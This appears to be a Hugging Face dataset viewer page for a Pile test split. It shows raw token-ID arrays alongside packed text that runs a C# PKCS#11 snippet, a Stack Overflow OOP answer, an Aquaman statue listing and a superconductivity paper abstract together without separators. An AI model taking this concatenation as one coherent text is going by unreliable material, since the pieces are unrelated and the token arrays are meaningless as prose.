jsonW0/pile_test · Datasets at Hugging Face

tokens sequencelengths 2.05k 2.05k	text stringlengths 1.08k 32.4k
[ 3575, 1416, 568, 27905, 6113, 883, 20607, 1138, 20357, 1268, 15128, 5166, 4, 883, 27436, 870, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 31873, 2618, 1138, 15659, 5166, 4, 883, 6016, 273, 15239, 870, 3575, 31, 187, 50270, 4387, 4110, 11753, 13119, 9, 49, 76, 6113, 883, 6504, 412, 34182, 2370, 29492, 13, 11578, 13019, 49, 76, 6113, 883, 20607, 268, 76, 6113, 883, 20607, 13, 12130, 543, 15239, 2618, 10, 187, 50270, 92, 187, 50266, 20357, 13019, 11252, 3156, 15, 49, 76, 6113, 883, 20607, 268, 883, 426, 268, 76, 6113, 883, 20607, 347, 11578, 13019, 11252, 3156, 15, 49, 76, 6113, 883, 20607, 28, 187, 50266, 338, 313, 81, 883, 2295, 3635, 10, 187, 50262, 22408, 747, 37026, 5330, 1587, 688, 28113, 1511, 273, 1698, 1268, 15128, 5166, 4, 883, 27436, 3287, 535, 50266, 2309, 747, 7335, 302, 9, 12690, 2370, 13, 268, 883, 13, 15239, 2618, 558, 187, 50270, 94, 187, 50274, 94, 187, 94, 187, 50, 27, 187, 187, 12161, 271, 9206, 13, 496, 379, 262, 352, 390, 897, 1480, 1332, 187, 187, 42, 1353, 747, 281, 253, 330, 4, 285, 253, 473, 2795, 10076, 285, 275, 1232, 273, 3652, 271, 11319, 326, 1833, 1361, 479, 1805, 2096, 253, 473, 2795, 12342, 15, 831, 310, 247, 2199, 326, 309, 1160, 281, 1691, 619, 20874, 3640, 281, 1071, 15, 2615, 3095, 564, 689, 436, 285, 5513, 281, 479, 752, 651, 320, 247, 1805, 2746, 285, 2139, 32, 187, 510, 1563, 403, 5113, 275, 619, 330, 4, 2086, 27, 187, 187, 3229, 76, 2019, 9314, 544, 7110, 823, 30298, 1332, 326, 6548, 247, 27488, 1789, 10943, 187, 13921, 187, 35484, 187, 30298, 187, 40829, 874, 187, 14422, 4461, 544, 36693, 27488, 13, 15725, 285, 9700, 418, 1346, 428, 1876, 10894, 187, 9486, 15, 10684, 4461, 671, 556, 823, 30298, 1332, 62, 187, 187, 42, 971, 253, 8597, 2019, 9314, 9206, 281, 823, 247, 27488, 281, 253, 10684, 4461, 1789, 15, 1198, 436, 309, 452, 253, 1563, 10165, 27, 187, 187, 42, 476, 1509, 247, 10684, 4461, 1789, 281, 253, 8597, 2019, 9314, 285, 840, 4981, 885, 253, 187, 1911, 30298, 1332, 3304, 10684, 4461, 281, 823, 247, 27488, 15, 187, 42, 476, 3587, 823, 247, 27488, 281, 253, 10684, 4461, 1580, 253, 10684, 4461, 1789, 2168, 556, 253, 50276, 1911, 30298, 1332, 15, 187, 42, 476, 30686, 253, 8597, 2019, 9314, 1789, 432, 10684, 4461, 275, 534, 1083, 253, 187, 3229, 76, 2019, 9314, 588, 320, 2104, 281, 823, 281, 253, 27488, 1618, 970, 253, 187, 1911, 30298, 1332, 273, 253, 10684, 4461, 15, 187, 187, 3220, 3533, 403, 27, 187, 187, 7371, 273, 253, 1264, 10165, 1840, 452, 247, 3590, 9317, 32, 187, 18837, 253, 10684, 4461, 1014, 452, 271, 823, 30298, 1332, 32, 380, 10684, 4461, 187, 11425, 760, 320, 247, 5718, 1789, 323, 15725, 13, 27488, 285, 9700, 10894, 13, 987, 32, 187, 187, 34, 27, 187, 187, 1394, 452, 281, 789, 562, 604, 247, 27488, 476, 2226, 1293, 1146, 629, 327, 247, 10684, 4461, 285, 604, 247, 3666, 76, 2019, 9314, 476, 8253, 1475, 342, 562, 1146, 629, 327, 247, 10684, 4461, 15, 187, 2042, 326, 434, 253, 5362, 376, 900, 309, 1871, 513, 1633, 751, 436, 187, 4387, 966, 10684, 4461, 551, 187, 50274, 4387, 3666, 76, 2019, 9314, 28568, 551, 755, 28, 3055, 873, 28, 748, 187, 50274, 4387, 5552, 29, 30298, 31, 49627, 551, 755, 28, 873, 28, 748, 187, 50274, 60, 23781, 187, 94, 187, 187, 34, 8597, 21334, 5082, 626, 320, 273, 1199, 897, 1293, 247, 921, 4461, 13, 594, 873, 253, 921, 4461, 347, 247, 18925, 275, 697, 16757, 27, 187, 4387, 966, 3666, 76, 2019, 9314, 551, 187, 50274, 9486, 10684, 42556, 551, 755, 28, 873, 28, 748, 187, 50274, 4387, 3666, 76, 2019, 9314, 9, 14422, 42556, 921, 42556, 10, 551, 187, 50270, 14422, 42556, 426, 921, 42556, 28, 187, 50274, 94, 187, 50274, 4387, 27488, 5733, 30298, 9, 30298, 7731, 10, 551, 187, 50270, 605, 3088, 5017, 342, 7731, 1789, 187, 50270, 14422, 42556, 15, 4717, 9, 34590, 558, 187, 50270, 2309, 2624, 8056, 28, 187, 50274, 94, 187, 94, 187, 187, 5498, 626, 1158, 352, 651, 320, 3451, 281, 452, 374, 5053, 281, 823, 6383, 13, 533, 253, 3666, 76, 2019, 9314, 943, 1335, 452, 253, 8294, 273, 2509, 594, 15, 187, 6436, 13, 1537, 452, 23452, 296, 85, 351, 634, 2523, 32074, 15541, 352, 7729, 2, 535, 9151, 21778, 23231, 14990, 43878, 367, 12548, 6515, 489, 187, 187, 2347, 3676, 310, 634, 21778, 32, 380, 9087, 21778, 1386, 273, 367, 12548, 1073, 263, 33122, 1024, 11323, 253, 4377, 273, 8628, 35902, 13, 23231, 14990, 2, 10039, 272, 432, 253, 6150, 342, 521, 492, 888, 39654, 281, 2983, 13, 15948, 42265, 310, 253, 2256, 273, 436, 898, 14, 12099, 14, 7527, 1073, 263, 2902, 13, 9398, 521, 10610, 13735, 14, 395, 14, 11707, 27170, 15, 23089, 273, 247, 1029, 14, 15177, 8013, 13, 285, 15773, 247, 7000, 17481, 285, 3242, 272, 6848, 4893, 13, 352, 3249, 32487, 275, 247, 2120, 14, 4897, 3497, 3817, 15, 10535, 14, 1026, 16884, 264, 407, 13089, 659, 15, 13089, 2, 1532, 187, 15834, 27, 686, 38306, 8550, 407, 3332, 4780, 275, 2440, 273, 3501, 7736, 3541, 13333, 342, 2014, 8868, 6318, 313, 14853, 50, 10, 14174, 359, 452, 2684, 247, 10527, 1263, 273, 5212, 322, 2513, 7864, 10092, 1665, 33138, 13, 835, 15956, 52, 457, 310, 247, 10713, 2221, 48679, 13, 15956, 84, 457, 310, 247, 6906, 32890, 3085, 13, 15956, 39, 457, 310, 247, 18719, 8388, 409, 36488, 285, 15956, 42, 457, 310, 271, 42415, 15, 844, 10173, 253, 10092, 1665, 1655, 347, 247, 1159, 273, 256, 285, 401, 8090, 9544, 13, 3276, 285, 6431, 2341, 273, 401, 3085, 15, 844, 19270, 2067, 10006, 273, 4254, 273, 841, 33138, 285, 7568, 616, 4451, 3745, 281, 452, 1781, 1885, 273, 247, 4619, 1655, 370, 42, 578, 36, 724, 285, 247, 2622, 14, 3409, 5052, 370, 51, 578, 47, 724, 275, 253, 669, 2059, 5, 1375, 13, 10870, 281, 326, 275, 322, 1830, 16583, 33138, 7744, 908, 275, 15112, 50, 14174, 15, 844, 1287, 247, 1566, 12930, 12797, 273, 253, 10092, 1665, 4619, 1655, 275, 841, 4095, 407, 6024, 5212, 1673, 15, 380, 1543, 403, 275, 1175, 4345, 342, 253, 5661, 941, 323, 427, 67, 14, 2422, 16, 2422, 48, 8626, 64, 89, 15728, 47, 67, 14, 49, 69, 14982, 17, 15, 1525, 724, 7510, 14982, 17, 15, 520, 15728, 47, 67, 33138, 2464, 187, 7582, 27, 187, 14, 686, 52, 15, 575, 55, 15, 575, 35, 518, 2244, 5985, 90, 8, 187, 14, 686, 47, 15, 575, 55, 15, 575, 44, 5025, 729, 8, 187, 14, 686, 42, 15, 575, 42, 15, 575, 30428, 729, 28017, 8, 187, 14, 686, 55, 15, 575, 55, 15, 575, 35, 311, 457, 6058, 729, 8, 187, 14, 686, 55, 15, 575, 55, 15, 575, 51, 90, 1370, 46964, 8, 187, 14, 686, 42, 15, 575, 55, 15, 575, 50126, 1479, 8, 187, 14, 686, 48, 15, 575, 34, 15, 575, 46, 2788, 5582, 729, 8, 187, 14, 686, 46, 15, 575, 42039, 15, 575, 44, 484, 363, 8202, 729, 8, 187, 14, 686, 34, 15, 575, 34, 15, 575, 40, 311, 538, 729, 8, 187, 2754, 27, 187, 14, 209, 187, 14, 209, 187, 5564, 27, 686, 1401, 510, 33977, 10031, 273, 6053, 11018, 272, 2101, 565, 3462, 322, 2513, 7864, 41442, 424, 686, 187, 1532, 187, 187, 49, 26080, 4893, 273, 32890, 5865, 14174, 497, 3012, 3710, 407, 253, 4942, 1698, 5350, 273, 32890, 3541, 15, 831, 17194, 3302, 18595, 281, 897, 2221, 48679, 16, 1592, 409, 36488, 313, 52, 16, 39, 10, 9769, 5289, 347, 3720, 323, 253, 2440, 275, 3501, 7736, 5212, 20221, 13135, 6700, 2370, 313, 37231, 84, 10, 1008, 4013, 28, 1214, 12547, 9401, 87, 28, 1214, 9494, 69, 1570, 11977, 253, 806, 5661, 22786, 273, 322, 7864, 10092, 1665, 33138, 1008, 51, 90, 1370, 46964, 54, 28, 1214, 51, 90, 1370, 46964, 1092, 1199, 4116, 369, 5087, 281, 8968, 10092, 1665, 4095, 342, 2570, 5212, 15938, 6941, 12797, 875, 1029, 285, 1698, 4619, 18476, 15, 329, 1180, 273, 1027, 2813, 5289, 497, 2783, 1008, 15271, 17131, 9006, 28, 1214, 40, 44, 39, 18, 28, 1214, 15271, 17131, 9006, 19, 28, 1214, 41, 276, 39753, 28, 1214, 44, 1513, 968, 4629, 66, 18, 28, 1214, 44, 1513, 968, 4629, 66, 19, 28, 1214, 40, 2735, 28, 1214, 50182, 463, 8720, 28, 1214, 35, 311, 6058, 729, 62, 1754, 2057, 327, 32890, 653, 565, 1406, 982, 2538, 390, 34791, 14, 12512, 10841, 12797, 1561, 253, 5212, 11394, 15, 1723, 13, 841, 7274, 497, 1754, 327, 5289, 342, 3777, 8847, 6718, 370, 42, 64, 68, 51, 64, 47, 5, 273, 33138, 15, 187, 187, 24881, 13, 5547, 22786, 273, 5234, 494, 427, 67, 14, 2422, 16, 2422, 48, 8626, 64, 89, 15728, 47, 67, 14, 49, 69, 14982, 17, 15, 1525, 724, 7510, 14982, 17, 15, 520, 15728, 47, 67, 33138, 369, 2361, 275, 1008, 45, 782, 249, 28, 1214, 50126, 1479, 28, 1214, 51, 90, 1370, 46964, 20, 1570, 2053, 33138, 403, 273, 322, 2513, 7864, 1511, 13, 891, 15, 70, 904, 247, 10382, 4602, 273, 253, 322, 2513, 16583, 16889, 285, 256, 7864, 25749, 15, 322, 2513, 7864, 2605, 556, 1029, 8847, 6718, 13, 370, 42, 64, 68, 51, 64, 47, 12063, 1955, 281, 253, 3361, 273, 16583, 11394, 15956, 42, 15385, 2058, 253, 1072, 673, 253, 2644, 2605, 37824, 347, 247, 2014, 16889, 342, 1675, 281, 271, 6024, 5212, 1673, 370, 41, 578, 2068, 724, 285, 5212, 8868, 669, 6065, 5, 42393, 715, 253, 2605, 13, 1580, 253, 10444, 3828, 256, 310, 1512, 6906, 281, 3601, 5212, 1673, 15, 1284, 247, 906, 13, 253, 5212, 1673, 11734, 253, 41895, 14982, 17, 15, 1525, 724, 7510, 14982, 17, 15, 520, 724, 3828, 588, 10007, 697, 3576, 28565, 13, 30753, 253, 4619, 1655, 1453, 273, 253, 2644, 4021, 14, 2009, 4586, 322, 2513, 7864, 2605, 15, 4794, 281, 7567, 15, 1008, 54, 1033, 561, 4629, 66, 1092, 3576, 28565, 275, 253, 49203, 41895, 14982, 17, 15, 1525, 724, 7510, 14982, 17, 15, 520, 724, 310, 6537, 407, 5721, 14, 5969, 41895, 10001, 20, 5, 7510, 6399, 15436, 29577, 13, 534, 476, 320, 4354, 294, 16586, 407, 247, 5075, 5212, 1673, 15, 187, 187, 3138, 52, 10398, 1420, 2216, 273, 322, 2513, 7864, 10092, 1665, 16889, 15, 27057, 1386, 14371, 6867, 3268, 273, 4667, 2442, 669, 3442, 370, 2112, 253, 2605, 15, 733, 14190, 10713, 2193, 275, 253, 322, 14722, 13, 310, 16013, 275, 253, 4766, 256, 3828, 285, 27309, 275, 253, 41130, 2919, 401, 15, 380, 8847, 2978, 11498, 403, 671, 7101, 275, 253, 4677, 27, 669, 33724, 61, 2260, 8454, 45, 724, 310, 253, 4693, 24280, 6864, 285, 669, 33724, 61, 2981, 578, 52, 94, 370, 310, 253, 25253, 2978, 6867, 323, 13065, 706, 1514, 5774, 18, 66, 15, 2265, 910, 3429, 568, 22, 15, 22, 3591, 986, 187, 187, 510, 4096, 273, 436, 2929, 310, 281, 1287, 247, 3762, 12930, 2710, 10006, 273, 4254, 273, 322, 2513, 7864, 10092, 1665, 4095, 15, 844, 12661, 247, 21582, 280, 14407, 474, 1566, 323, 247, 4021, 14, 2009, 4586, 10092, 1665, 2605, 275, 534, 5212, 285, 5508, 3054, 273, 253, 401, 14, 18405, 275, 271, 256, 7864, 629, 273, 253, 2605, 476, 1818, 253, 3607, 285, 1014, 253, 3216, 1375, 273, 697, 322, 261, 629, 15, 1284, 247, 906, 13, 271, 6024, 5212, 1673, 778, 5234, 253, 16889, 432, 247, 32890, 281, 247, 11623, 422, 1375, 390, 778, 4979, 247, 6041, 1655, 14, 14213, 5886, 281, 271, 28483, 581, 15, 844, 7277, 253, 1543, 342, 5661, 941, 4102, 2797, 323, 323, 427, 67, 14, 2422, 16, 2422, 48, 8626, 64, 89, 15728, 47, 67, 14, 49, 69, 14982, 17, 15, 1525, 724, 7510, 14982, 17, 15, 520, 15728, 47, 67, 33138, 15, 187, 187, 1231, 1908, 253, 33362, 333, 2122, 2605, 3559, 275, 2667, 6019, 18, 12530, 733, 8414, 273, 767, 32890, 14722, 15956, 52, 457, 9070, 407, 247, 16583, 11394, 15956, 42, 16236, 271, 10444, 6906, 32890, 3085, 15956, 84, 457, 285, 247, 41130, 3828, 15956, 39, 15385, 1916, 6266, 253, 2221, 6259, 4616, 275, 253, 2605, 13, 359, 5467, 326, 253, 2515, 273, 247, 16076, 2701, 403, 25146, 323, 512, 18494, 15, 844 ]	param name="pkcs11Library">Low level PKCS#11 wrapper</param> /// <param name="slotId">PKCS#11 handle of slot</param> public ISlot Create(Pkcs11InteropFactories factories, LowLevelPkcs11Library pkcs11Library, ulong slotId) { LowLevelAPI41.Pkcs11Library p11 = pkcs11Library as LowLevelAPI41.Pkcs11Library; if (p11 == null) throw new ArgumentException("Incorrect type of low level PKCS#11 wrapper"); return new Slot(factories, p11, slotId); } } } Q: Pass an Object, Inherit it or use direct method I'm new to the C# and the OOP scenario and in process of building an infrastructure that'll help me better understand the OOP concepts. This is a project that I made to put my classroom knowledge to test. Can someone go over this and explain to me what would be a better approach and why? The following are objects in my C# program: deskClerk [has addCustomer method that returns a Customer object.] Order Stock Customer Utility Showroom [Contains Customer, Stock and Order Lists - All lists private. Showroom also has addCustomer method] I want the deskClerk Object to add a Customer to the Showroom object. For this I have the following choices: I can pass a Showroom object to the deskClerk and then utilise the addCustomer method inside Showroom to add a Customer. I can directly add a Customer to the Showroom since the Showroom object already has the addCustomer method. I can inherit the deskClerk object from Showroom in which case the deskClerk will be able to add to the Customer list using the addCustomer method of the Showroom. My questions are: Which of the three choices above have a sound logic? Should the Showroom even have an addCustomer method? The Showroom should only be a storage object for Stock, Customer and Order lists, right? A: You have to work out if a Customer can exist without being part on a Showroom and if a DeskClerk can float around with out being part on a Showroom. If that's the scenraio I'd do something like this public class Showroom { public DeskClerk Clerk { get; private set; } public List<Customer> Customers { get; set; } [...] } A desk clerk wouldn't be of much use without a showroom, so set the showroom as a dependency in its constructor: public class DeskClerk { private ShowRoom { get; set; } public DeskClerk(ShowRoom showRoom) { ShowRoom = showRoom; } public Customer AddCustomer(Customer customer) { //do stuff with customer object ShowRoom.Add(customer); return cutomer; } } Don't think it would be correct to have 2 places to add customers, but the DeskClerk should still have the responsibility of doing so. However, might have misundersttod your issue :-) Hope it helps! DC Gallery Aquaman Comic PVC Statue How deep is your Gallery? The DC Gallery line of PVC dioramas now adds the King of Atlantis, Aquaman! Springing from the sea with his trident poised to attack, Arthur Curry is the subject of this 9-inch-scale diorama, wearing his classic orange-and-green outfit. Made of a high-quality plastic, and featuring a detailed sculpt and exacting paint applications, it comes packaged in a full-color window box. Hand-sculpted by Jean St. Jean!--- abstract: 'Motivated by recent progress in development of cryogenic memory compatible with single flux quantum (SFQ) circuits we have performed a theoretical study of magnetic SIsFS Josephson junctions, where ’S’ is a bulk superconductor, ’s’ is a thin superconducting film, ’F’ is a metallic ferromagnet and ’I’ is an insulator. We calculate the Josephson current as a function of s and F layers thickness, temperature and exchange energy of F film. We outline several modes of operation of these junctions and demonstrate their unique ability to have large product of a critical current $I_{C}$ and a normal-state resistance $R_{N}$ in the $\pi$ state, comparable to that in SIS tunnel junctions commonly used in SFQ circuits. We develop a model describing switching of the Josephson critical current in these devices by external magnetic field. The results are in good agreement with the experimental data for Nb-Al/AlO${_x}$-Nb-Pd$_{0.99}$Fe$_{0.01}$-Nb junctions.' author: - 'S. V. Bakurskiy' - 'N. V. Klenov' - 'I. I. Soloviev' - 'V. V. Bol’ginov' - 'V. V. Ryazanov' - 'I. V. Vernik' - 'O. A. Mukhanov' - 'M. Yu. Kupriyanov' - 'A. A. Golubov' date: - - title:'Theoretical Model of Superconducting Spintronic SIsFS Devices ' --- Practical applications of superconducting digital circuits were significantly limited by the relatively low capacity of superconducting memory. This motivated initial proposals to use superconductor/ferromagnet (S/F) hybrid structures as basis for the development in cryogenic magnetic Random Access Memories (RAMs) [@Oh; @Tagirov; @Held]. Following the first experimental realization of SFS Josephson junctions [@RyazanovU; @Ryazanov], much attention was paid to realize Josephson devices with complex magnetic barriers allowing switching between high and low critical currents. A number of different device structures were considered [@VolkovAF; @GKF1; @VolkovAF2; @Houzet; @Karminskaya1; @Karminskaya2; @Gabor; @BirgeLR; @Bolginov] based either on superconducting spintronics effects or singlet-triplet switching within the magnetic barrier. However, these approaches were based on structures with reduced characteristic voltage $I_cR_N$ of junctions. Recently, successful realization of switchable Nb-Al/AlO${_x}$-Nb-Pd$_{0.99}$Fe$_{0.01}$-Nb junctions was reported in [@Larkin; @Vernik; @Ryazanov3]. These junctions are of SIsFS type, i.e., a serial connection of the SIs tunnel junction and sFS sandwich. SIsFS structure has high characteristic voltage, $I_cR_N,$ due to the presence of tunnel barrier ’I’. At the same time the whole structure behaves as a single junction with respect to an external magnetic field $H_{ext}$ and magnetic flux $\Phi$ penetrating into the structure, since the intermediate layer s is too thin to screen magnetic field. As a result, the magnetic field entering the Pd$_{0.99}$Fe$_{0.01}$ layer will modify its effective magnetization, facilitating the critical current control of the whole double-barrier SIsFS structure. According to Ref. [@Uspenskaya], effective magnetization in the dilute Pd$_{0.99}$Fe$_{0.01}$ is controlled by Fe-rich Pd$_3$Fe nanoclusters, which can be easily reordered by a weak magnetic field. ![Schematic design of SIsFS Josephson junction. Solid line demonstrates typical distribution of pair potential $\Delta $ along the structure. It reaches bulk values in the S electrodes, is suppressed in the middle s layer and vanishes in the ferromagnetic region F. The characteristic length scales are also marked in the figure: $\protect\lambda _{L}$ is the London penetration depth and $\protect\xi_{S} $ is the coherence length typical for niobium.](1a.eps){width="5.5cm"} The purpose of this paper is to develop a theory describing various modes of operation of SIsFS Josephson devices. We propose a quasiclassical model for a double-barrier Josephson structure in which magnetic and spin states of the F-film in an sFS part of the structure can change the properties and even the ground state of its Sis part. As a result, an external magnetic field may switch the junction from a superconducting to a resistive state or may transform a conventional current-phase relation to an inverted one. We compare the results with experimental data recently obtained for for Nb-Al/AlO${_x}$-Nb-Pd$_{0.99}$Fe$_{0.01}$-Nb junctions. We consider the multilayered structure presented in Fig.1. It consists of two superconducting electrodes ’S’ separated by a tunnel barrier ’I’, an intermediate thin superconducting film ’s’ and a ferromagnetic layer ’F’. To describe the supercurrent transport in the structure, we assume that the conditions of a dirty limit are fulfilled for all metals. We
[ 12424, 1499, 80, 1753, 12580, 49200, 500, 28024, 15, 16336, 20789, 7460, 9390, 299, 373, 13, 18429, 265, 7460, 860, 5210, 1260, 375, 15, 18407, 345, 80, 336, 19530, 13, 13647, 1753, 2013, 375, 13, 13647, 1675, 13167, 15, 8742, 1471, 7766, 13, 4285, 615, 15, 914, 6290, 80, 509, 74, 30197, 4113, 3446, 187, 187, 18675, 6575, 1045, 1073, 5629, 15, 265, 1345, 1954, 1045, 523, 257, 7112, 372, 3897, 34939, 1432, 265, 13, 12000, 66, 10417, 396, 2297, 1954, 247, 6583, 274, 826, 2611, 7860, 372, 3897, 294, 9820, 546, 826, 5636, 7860, 546, 3897, 36953, 1109, 15777, 1448, 1445, 1950, 45434, 340, 396, 2701, 10510, 247, 247, 26931, 321, 274, 1753, 826, 774, 7860, 372, 717, 382, 324, 396, 29477, 687, 936, 15, 3599, 1049, 49155, 372, 3897, 294, 9820, 355, 44345, 345, 3354, 3377, 396, 1002, 5309, 8514, 35078, 6191, 265, 46380, 372, 826, 9987, 7860, 372, 17918, 5495, 17128, 15, 187, 187, 43, 28024, 418, 1954, 29283, 353, 1757, 5267, 301, 26510, 3641, 358, 9108, 1448, 35584, 5309, 372, 330, 22779, 21924, 15, 8802, 1954, 402, 13586, 75, 1464, 1121, 20240, 13326, 1045, 2164, 372, 704, 3381, 287, 372, 4267, 340, 1045, 3307, 372, 37266, 9623, 3381, 372, 4332, 15, 4137, 9144, 80, 2264, 345, 826, 2806, 9407, 423, 22125, 247, 5910, 15, 28950, 32306, 15, 3599, 14967, 9144, 80, 372, 5940, 1220, 66, 24005, 944, 2076, 19070, 247, 5940, 509, 376, 546, 309, 589, 571, 4474, 1395, 70, 372, 495, 15, 38228, 32306, 15, 187, 187, 8677, 1174, 15973, 372, 3897, 294, 9820, 396, 419, 362, 28697, 17400, 3814, 936, 546, 3897, 32528, 29058, 31928, 546, 1459, 375, 6483, 375, 1753, 15761, 913, 357, 3377, 546, 3897, 7166, 42148, 8585, 15, 1219, 372, 4358, 13586, 13670, 284, 2806, 13, 1753, 14076, 396, 45305, 6336, 546, 1045, 33083, 1448, 734, 68, 1369, 900, 372, 34939, 1432, 265, 13, 396, 2020, 1954, 402, 516, 1065, 7860, 4474, 1045, 838, 35106, 913, 26471, 247, 5940, 7345, 66, 10279, 25007, 23748, 15, 42, 369, 399, 31271, 432, 418, 678, 267, 844, 23821, 495, 187, 187, 39557, 407, 2305, 15, 27319, 13156, 1063, 337, 296, 2398, 5403, 187, 4064, 1855, 728, 70, 48193, 15, 681, 187, 9, 66, 1652, 4114, 10, 187, 37, 31271, 310, 581, 273, 13104, 8524, 893, 19180, 457, 84, 2143, 3858, 15, 285, 3558, 273, 247, 38920, 46189, 10821, 15, 309, 1333, 38920, 46189, 984, 597, 1053, 457, 85, 1646, 281, 513, 1199, 3430, 7419, 432, 1056, 247, 3158, 10463, 672, 253, 23247, 403, 670, 15, 313, 3529, 285, 253, 22003, 273, 9676, 41815, 285, 27050, 10, 187, 60, 7317, 281, 62, 35469, 273, 20715, 20709, 447, 13, 34382, 5943, 285, 8524, 893, 19180, 4366, 690, 20634, 3879, 407, 690, 5753, 13, 285, 594, 597, 2028, 253, 21613, 77, 7640, 281, 21090, 15, 831, 3908, 556, 253, 7285, 1055, 327, 731, 285, 597, 1408, 14517, 2686, 278, 83, 6521, 13156, 1063, 13, 1223, 4682, 893, 19180, 369, 10000, 892, 1212, 249, 521, 305, 7640, 285, 2403, 247, 42463, 13, 34382, 5943, 8344, 253, 20634, 2425, 275, 253, 31132, 285, 4425, 281, 769, 327, 521, 1211, 10, 11977, 247, 2372, 273, 247, 24577, 13, 34382, 5943, 285, 8524, 893, 19180, 8722, 281, 7145, 253, 5753, 13, 665, 1527, 3289, 275, 46347, 1108, 8524, 893, 19180, 27019, 407, 10884, 13768, 285, 344, 8379, 32299, 247, 21613, 77, 360, 15, 2091, 344, 4566, 281, 2451, 253, 2133, 344, 41217, 13, 281, 521, 15535, 13, 326, 352, 310, 13104, 457, 84, 3331, 13, 399, 31271, 15, 187, 187, 60, 13982, 337, 407, 2802, 69, 438, 2205, 480, 257, 7232, 457, 62, 187, 510, 1390, 673, 309, 3735, 672, 3095, 556, 644, 5103, 13, 597, 2057, 3150, 390, 2242, 627, 275, 41335, 15, 1893, 253, 2471, 6200, 281, 479, 369, 581, 326, 309, 651, 2868, 984, 846, 253, 41335, 13, 344, 4962, 15, 1893, 5103, 1146, 253, 3908, 13, 369, 271, 762, 25322, 13, 984, 253, 2250, 4269, 253, 3451, 4884, 15, 309, 37977, 253, 13889, 6200, 4681, 13982, 374, 407, 2802, 28094, 6521, 13156, 1063, 457, 62, 187, 2773, 310, 247, 1175, 1127, 45673, 2205, 1108, 1512, 2223, 359, 923, 253, 2250, 285, 417, 253, 9099, 15, 1893, 352, 310, 1077, 3477, 281, 923, 23499, 952, 2970, 5103, 285, 1158, 326, 627, 310, 642, 3075, 3206, 13, 1955, 281, 1146, 711, 33761, 1025, 15, 187, 1992, 923, 436, 5772, 10776, 627, 275, 41335, 846, 1146, 5103, 1663, 10316, 1728, 253, 958, 326, 11942, 403, 417, 816, 23908, 313, 284, 841, 5753, 1646, 281, 1158, 275, 253, 3085, 36033, 13982, 495, 407, 2802, 29823, 457, 62, 187, 3726, 1663, 4211, 352, 275, 253, 3085, 15, 844, 1014, 452, 253, 20915, 13, 534, 2789, 352, 512, 253, 625, 1774, 13, 347, 1057, 253, 958, 352, 1663, 11852, 8524, 893, 19180, 4681, 13982, 577, 407, 2802, 44, 7694, 64, 38, 469, 73, 27643, 64, 1012, 457, 62, 187, 338, 924, 1622, 84, 310, 247, 3331, 273, 295, 469, 16328, 4682, 893, 19180, 2139, 310, 344, 247, 3558, 247, 10821, 32, 5082, 457, 85, 436, 1385, 347, 46337, 285, 3438, 3858, 32, 60, 13982, 608, 407, 2802, 40849, 6934, 1405, 2131, 457, 62, 187, 2302, 13, 352, 457, 84, 417, 773, 16339, 1402, 267, 668, 15956, 18923, 399, 31271, 310, 5339, 407, 19528, 8524, 893, 19180, 13, 13104, 457, 84, 3392, 15, 399, 31271, 13, 1880, 13104, 457, 84, 3331, 390, 417, 13, 369, 10155, 253, 1569, 285, 9602, 387, 19528, 665, 11226, 896, 275, 1881, 14, 29337, 15, 1284, 323, 773, 28292, 24456, 1806, 399, 31271, 369, 13104, 457, 84, 3331, 13, 417, 19528, 457, 84, 13, 285, 16280, 13, 347, 359, 923, 1996, 13, 3738, 13104, 787, 1443, 399, 31271, 285, 417, 521, 3392, 323, 253, 2471, 13, 344, 1620, 557, 628, 84, 779, 347, 247, 3331, 15, 187, 42, 2238, 273, 1694, 253, 13214, 13104, 285, 399, 31271, 574, 1929, 581, 1529, 1580, 597, 497, 5753, 13, 6941, 13104, 281, 20621, 399, 31271, 457, 84, 10821, 37295, 13, 285, 399, 31271, 281, 417, 2564, 326, 13104, 457, 84, 3392, 310, 247, 5440, 4681, 13982, 721, 407, 2802, 23182, 457, 62, 187, 12311, 1127, 20846, 6934, 1405, 2131, 2, 187, 17803, 8465, 1128, 1628, 4877, 22508, 31305, 668, 187, 187, 4553, 619, 44064, 3186, 323, 253, 1894, 773, 69, 552, 1190, 924, 1622, 84, 668, 38857, 18365, 270, 18846, 259, 38051, 7521, 309, 4720, 4441, 779, 3066, 36979, 4302, 33978, 327, 253, 47683, 42896, 16838, 13, 309, 806, 3047, 270, 18846, 275, 10226, 13, 4882, 247, 48233, 327, 247, 2021, 8213, 9037, 773, 44641, 253, 1175, 3819, 7521, 891, 1996, 7478, 779, 327, 17699, 13060, 48011, 2284, 74, 285, 369, 14435, 407, 521, 21242, 13, 594, 891, 873, 562, 327, 247, 1437, 281, 755, 3304, 253, 2564, 273, 773, 27083, 38866, 668, 285, 672, 891, 4720, 1119, 779, 13, 949, 6313, 48455, 13, 751, 16121, 247, 4956, 39121, 275, 253, 618, 73, 4595, 13, 344, 5821, 281, 3662, 247, 1643, 3533, 327, 253, 4481, 27, 187, 187, 9, 1405, 4587, 2305, 259, 38051, 13, 634, 2159, 6940, 8534, 5249, 14278, 273, 581, 2021, 8213, 9037, 13, 767, 13977, 327, 17699, 1106, 348, 48011, 2284, 74, 1157, 395, 4925, 352, 457, 84, 268, 2966, 6929, 313, 249, 619, 4743, 10, 9453, 368, 4546, 399, 31271, 3774, 1622, 84, 275, 253, 4735, 3085, 25894, 10485, 1264, 32, 187, 9, 35, 18846, 4587, 69, 54, 615, 13, 891, 425, 6156, 1014, 2326, 25894, 10485, 495, 13, 285, 891, 369, 751, 854, 672, 2021, 8213, 30406, 2866, 752, 253, 7085, 310, 557, 32, 187, 187, 9, 1405, 4587, 1147, 1364, 452, 644, 12680, 33405, 824, 247, 1818, 275, 7286, 323, 1110, 767, 25893, 13451, 13, 369, 352, 3511, 762, 512, 326, 1056, 14, 484, 32, 187, 9, 35, 18846, 4587, 1276, 253, 7435, 310, 436, 32, 368, 2183, 479, 436, 369, 323, 11332, 7171, 42896, 16838, 13, 403, 368, 49826, 19311, 278, 38, 247, 52, 2809, 1306, 4672, 8220, 187, 187, 9, 1405, 4587, 1276, 369, 352, 751, 1146, 5103, 285, 5339, 407, 277, 10059, 1289, 1189, 457, 84, 1894, 396, 1662, 386, 4682, 15559, 32, 187, 9, 35, 18846, 4587, 1737, 2, 32, 38798, 259, 24721, 33186, 187, 187, 9, 1405, 4587, 496, 634, 4743, 13, 369, 344, 1663, 1512, 1711, 323, 436, 10739, 32, 187, 9, 35, 18846, 4587, 30531, 7519, 8702, 2, 187, 187, 9, 1405, 4587, 10348, 368, 2455, 1928, 275, 5434, 327, 253, 873, 1146, 1475, 824, 247, 32397, 637, 347, 16172, 249, 8132, 5943, 32, 187, 